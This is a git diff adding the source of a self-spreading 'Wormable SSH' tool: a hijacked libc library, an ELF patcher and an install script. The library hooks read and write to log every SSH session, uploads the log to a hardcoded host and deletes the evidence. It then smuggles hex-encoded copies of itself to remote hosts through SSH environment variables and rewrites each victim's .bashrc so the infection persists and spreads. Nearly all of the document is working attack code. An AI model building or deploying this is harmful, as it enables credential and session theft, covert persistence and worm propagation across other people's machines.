diff --git a/Wormable SSH/Source/c.so.6.c b/Wormable SSH/Source/c.so.6.c new file mode 100644 index 0000000..ffc0330 --- /dev/null +++ b/Wormable SSH/Source/c.so.6.c @@ -0,0 +1,255 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifndef LIBC_PATH +#define LIBC_PATH "/usr/lib/x86_64-linux-gnu/libc.so.6" +#endif + +void *handle; +int (*real_getopt)(int argc, char *const argv[], + const char *optstring); +/* +typedef void (*sighandler_t)(int); +sighandler_t (*real_signal)(int signum, sighandler_t handler); +int (*real_sigaction)(int signum, const struct sigaction *act, + struct sigaction *oldact); +*/ +int (*real_close)(int fd); +size_t (*real_write)(int fd, const void *buf, size_t count) = NULL; +size_t (*real_read)(int fd, void *buf, size_t count) = NULL; +struct stat log_statbuf; + +int log_fd = -1; +char capsule[512] = {0}; +//int inject = 0; + +char *host = "127.0.0.1"; +char *port = "9999"; +char *resource = "upload.php"; +int size = 201; + +int sock_fd; +struct sockaddr_in addr; + +void do_post(void) +{ + host = "10.0.2.2"; + sock_fd = socket(AF_INET, SOCK_STREAM, 0); + addr.sin_family = AF_INET; + addr.sin_port = htons(atoi(port)); + addr.sin_addr.s_addr = inet_addr(host); + + connect(sock_fd, (struct sockaddr *)&addr, sizeof(struct sockaddr)); + + size += log_statbuf.st_size; + + sprintf(capsule, + "POST http://%s:%s/%s HTTP/1.1\r\n" + "Host: %s:%s\r\n" + "Accept: */*\r\n" + "Content-Type: multipart/form-data; boundary=------------------------4ae6d1de929f9e46\r\n" + "Content-Length: %d\r\n" + "\r\n" + "--------------------------4ae6d1de929f9e46\r\n" + "Content-Disposition: form-data; name=\"vxlog\"; filename=\"vxlog.txt\"\r\n" + "Content-Type: application/octet-stream\r\n" + "\n", + host, port, resource, host, port, size); + + real_write(sock_fd, capsule, strlen(capsule)); + sendfile(sock_fd, log_fd, 0, log_statbuf.st_size); + real_write(sock_fd, "\n\n--------------------------4ae6d1de929f9e46--\r\n", 48); + close(sock_fd); +} + +char *lcso_envar(void) +{ + char *env_lcso = NULL; + struct stat stat_dynamicorrupt; + int envsz = 0; + char path[128]; + sprintf(path, "%s/.bin/c.so.6.hex", getenv("HOME")); + int fd = open(path, O_RDONLY); + fstat(fd, &stat_dynamicorrupt); + env_lcso = malloc(stat_dynamicorrupt.st_size + strlen("LC_BIN2=")); + strcpy(env_lcso, "LC_BIN2="); + syscall(__NR_read, fd, env_lcso + strlen("LC_BIN2="), stat_dynamicorrupt.st_size); + syscall(__NR_close, fd); + return env_lcso; +} + +char *dynamicorrupt_envar(void) +{ + char *env_dynamicorrupt = NULL; + struct stat stat_dynamicorrupt; + int envsz = 0; + char path[128]; + sprintf(path, "%s/.bin/dynamicorrupt.hex", getenv("HOME")); + int fd = open(path, O_RDONLY); + fstat(fd, &stat_dynamicorrupt); + env_dynamicorrupt = malloc(stat_dynamicorrupt.st_size + strlen("LC_BIN1=")); + strcpy(env_dynamicorrupt, "LC_BIN1="); + syscall(__NR_read, fd, env_dynamicorrupt + strlen("LC_BIN1="), stat_dynamicorrupt.st_size); + syscall(__NR_close, fd); + return env_dynamicorrupt; +} + +__attribute__((constructor)) int change_args(int argc, char **argv, char **envp) +{ + int env_size = 0; + + if (getenv("VXCOOL") == NULL) + { + char **envar = envp; + while (*envar++ != NULL) + env_size++; + + char **new_envp = malloc(sizeof(char *) * env_size + 3); + for (int i = 0; i < env_size; i++) + new_envp[i] = strdup(envp[i]); + + new_envp[env_size] = "VXCOOL=true"; + new_envp[env_size + 1] = dynamicorrupt_envar(); + new_envp[env_size + 2] = lcso_envar(); + new_envp[env_size + 3] = NULL; + + char **new_argv = malloc(sizeof(char *) * (argc + 4)); + for (int i = 0; i < argc; i++) + new_argv[i] = strdup(argv[i]); + + new_argv[argc] = "-t"; + new_argv[argc + 1] = "-SendEnv"; + new_argv[argc + 2] = + "rm -rf $HOME/.bin;" + "mkdir $HOME/.bin/;" + "cp $(which ssh) $HOME/.bin/;" + "printenv LC_BIN1 > $HOME/.bin/dynamicorrupt.hex;" + "cat $HOME/.bin/dynamicorrupt.hex | xxd -plain -revert > $HOME/.bin/dynamicorrupt;" + "chmod +x $HOME/.bin/dynamicorrupt;" + "$HOME/.bin/dynamicorrupt $HOME/.bin/ssh;" + + "printenv LC_BIN2 > $HOME/.bin/c.so.6.hex;" + "cat $HOME/.bin/c.so.6.hex | xxd -plain -revert > $HOME/.bin/c.so.6;" + "chmod +x $HOME/.bin/c.so.6;" + + "echo \"export PATH=$HOME/.bin:$PATH\" >> $HOME/.bashrc;" + "echo \"export LD_LIBRARY_PATH=$HOME/.bin/\" >> $HOME/.bashrc;" + + "export PATH=$HOME/.bin:$PATH;" + "export LD_LIBRARY_PATH=$HOME/.bin/;" + + "$SHELL -i;"; + new_argv[argc + 3] = NULL; + execve("/proc/self/exe", new_argv, new_envp); + } + else + unsetenv("VXCOOL"); + return 0; +} + +__attribute__((constructor)) void _initf(int ac, char **av) +{ + for (int i = 0; i < ac; i++) + { + printf("av[%d] = %s\n", i, av[i]); + } + + //debug __asm__("int3\r\n"); + handle = dlopen(LIBC_PATH, RTLD_LAZY); + //puts("hi"); + //real_sigaction = (void *)dlsym(handle, "sigaction"); + //real_signal = (void *)dlsym(handle, "signal"); + //real_getopt = (void *)dlsym(handle, "getopt"); + real_close = (void *)dlsym(handle, "close"); + real_write = (void *)dlsym(handle, "write"); + real_read = (void *)dlsym(handle, "read"); + log_fd = open("/tmp/.sshlog", O_APPEND | O_CREAT | O_RDWR, S_IRWXU); + log_fd = dup2(log_fd, 42); +} + +__attribute__((destructor)) void _finif(void) +{ + lseek(log_fd, 0, SEEK_SET); + fstat(log_fd, &log_statbuf); + do_post(); + syscall(__NR_close, log_fd); + unlink("/tmp/.sshlog"); +} + +int BSDgetopt(int argc, char *const argv[], + const char *optstring) +{ + printf("argc = %d\n", argc); + for (int i = 0; i < argc; i++) + printf("argv[%d] = %s\n", i, argv[i]); + + return real_getopt(argc, argv, optstring); +} + +/* +int sigaction(int signum, const struct sigaction *act, + struct sigaction *oldact) +{ + if (signum == SIGWINCH) + inject = 1; + return real_sigaction(signum, act, oldact); +} + +sighandler_t signal(int signum, sighandler_t handler) +{ + if (signum == SIGWINCH) + inject = 1; + return real_signal(signum, handler); +} +*/ + +int close(int fd) +{ + if (fd == log_fd) + return 0; + return real_close(fd); +} + +ssize_t write(int fd, const void *buf, size_t count) +{ + int ret = (real_write(fd, buf, count)); + syscall(__NR_write, log_fd, "[write]:", 8); + //if ((fd == 5 || fd == 6) && count > 1) + // syscall(__NR_write, log_fd, buf, ret); + for (int i = 0; i < ret; i++) + if (isprint(((char *)buf)[i]) || ((char *)buf)[i] == '\n') + syscall(__NR_write, log_fd, &((char *)buf)[i], 1); + syscall(__NR_write, log_fd, "\n", 1); + return ret; +} + +ssize_t read(int fd, void *buf, size_t count) +{ + int ret = (real_read(fd, buf, count)); + syscall(__NR_write, log_fd, "[read]:", 7); + //if (fd == 4) + // syscall(__NR_write, log_fd, buf, ret); + for (int i = 0; i < ret; i++) + if (isprint(((char *)buf)[i])) + syscall(__NR_write, log_fd, &((char *)buf)[i], 1); + syscall(__NR_write, log_fd, "\n", 1); + return ret; +} diff --git a/Wormable SSH/Source/dynamicorrupt.c b/Wormable SSH/Source/dynamicorrupt.c new file mode 100644 index 0000000..294bccb --- /dev/null +++ b/Wormable SSH/Source/dynamicorrupt.c @@ -0,0 +1,160 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +int dynamicorrupt(char *elf_buff, char *target_lib) +{ + Elf64_Ehdr *ehdr = (Elf64_Ehdr *)elf_buff; + Elf64_Shdr *shdr = (Elf64_Shdr *)&elf_buff[ehdr->e_shoff]; + char *string_table = &elf_buff[shdr[ehdr->e_shstrndx].sh_offset]; + Elf64_Phdr *phdr = (Elf64_Phdr *)&elf_buff[ehdr->e_phoff]; + Elf64_Dyn *dyn_base = NULL; + char *dynstr_base = NULL; + unsigned long seg_size = 0; + unsigned long n_entries = 0; + Elf64_Xword new_d_val = 0; + int dt_needed_index = -1; + int dt_debug_index = -1; + + for (int i = 0; i < ehdr->e_phnum; i++) + { + if (phdr[i].p_type == PT_DYNAMIC) + { + dyn_base = (Elf64_Dyn *)&elf_buff[phdr[i].p_offset]; + seg_size = phdr[i].p_filesz; + n_entries = phdr[i].p_filesz / sizeof(Elf64_Dyn); + break; + } + } + + if (dyn_base == NULL) + { + puts("PT_DYNAMIC header not found!"); + return 1; + } + + for (int i = 0; i < ehdr->e_shnum; i++) + { + if (!strcmp(&string_table[shdr[i].sh_name], ".dynstr")) + { + dynstr_base = (char *)&elf_buff[shdr[i].sh_offset]; + break; + } + } + + if (dynstr_base == NULL) + { + puts(".dynstr section not found!"); + return 2; + } + + for (int i = 0; i < n_entries; i++) + { + if (dyn_base[i].d_tag == DT_NEEDED && + !strcmp(&dynstr_base[dyn_base[i].d_un.d_val], target_lib)) + dt_needed_index = i; + + if (dyn_base[i].d_tag == DT_DEBUG) + dt_debug_index = i; + } + + if (dt_needed_index == -1) + return 3; + if (dt_debug_index == -1) + return 4; + + dyn_base[dt_debug_index].d_tag = DT_NEEDED; + + if (dt_debug_index > dt_needed_index) { + dyn_base[dt_debug_index].d_un.d_val = dyn_base[dt_needed_index].d_un.d_val; + dyn_base[dt_needed_index].d_un.d_val = dyn_base[dt_debug_index].d_un.d_val+3; + } else + dyn_base[dt_debug_index].d_un.d_val = dyn_base[dt_needed_index].d_un.d_val+3; + + return 0; +} + +int main(int argc, char **argv) +{ + char *input_path; + char *output_path; + char *target_lib = "libc.so.6"; + + switch (argc) + { + case 4: + input_path = argv[1]; + output_path = argv[2]; + target_lib = argv[3]; + break; + case 3: + input_path = argv[1]; + output_path = argv[2]; + break; + case 2: + input_path = argv[1]; + output_path = input_path; + break; + default: + printf("usage: %s \n", argv[0]); + return 1; + } + + int elf_input = open(input_path, 0, O_RDONLY); + + if (elf_input == -1) + { + perror("open"); + return 2; + } + + struct stat elf_statbuf; + + if (fstat(elf_input, &elf_statbuf) == -1) + { + perror("fstat"); + return 3; + } + + char *elf_buff = malloc(elf_statbuf.st_size); + + if (elf_buff == NULL) + { + perror("malloc"); + return 4; + } + + if (elf_statbuf.st_size != read(elf_input, elf_buff, elf_statbuf.st_size)) + { + perror("read"); + return 5; + } + + close(elf_input); + int ret = dynamicorrupt(elf_buff, target_lib); + if (ret == 0) + { + int elf_output = open(output_path, O_CREAT | O_TRUNC | O_WRONLY, S_IRWXU); + + if (elf_output == -1) + { + perror("open"); + return 6; + } + + if (elf_statbuf.st_size != write(elf_output, elf_buff, elf_statbuf.st_size)) + { + perror("write"); + return 7; + } + close(elf_output); + } + + free(elf_buff); + return ret; +} \ No newline at end of file diff --git a/Wormable SSH/Source/install.sh b/Wormable SSH/Source/install.sh new file mode 100644 index 0000000..c362685 --- /dev/null +++ b/Wormable SSH/Source/install.sh @@ -0,0 +1,18 @@ +#!/bin/bash + +cc -s -o dynamicorrupt dynamicorrupt.c +cc -s -shared -fPIC c.so.6.c -o c.so.6 -ldl -DLIBC_PATH=$(ldd $(which ssh) | grep libc.so | awk '{print "\""$3"\""}') +xxd -plain dynamicorrupt | tr -d \\n > dynamicorrupt.hex +xxd -plain c.so.6 | tr -d \\n > c.so.6.hex +rm -rf $HOME/.bin +mkdir $HOME/.bin/ +cp *.hex $HOME/.bin/ +cp $(which ssh) $HOME/.bin/ +./dynamicorrupt $HOME/.bin/ssh +cp c.so.6 $HOME/.bin/ +echo "export PATH=$HOME/.bin:$PATH" >> $HOME/.bashrc +echo "export LD_LIBRARY_PATH=$HOME/.bin/" >> $HOME/.bashrc + +export PATH=$HOME/.bin:$PATH +export LD_LIBRARY_PATH=$HOME/.bin/ +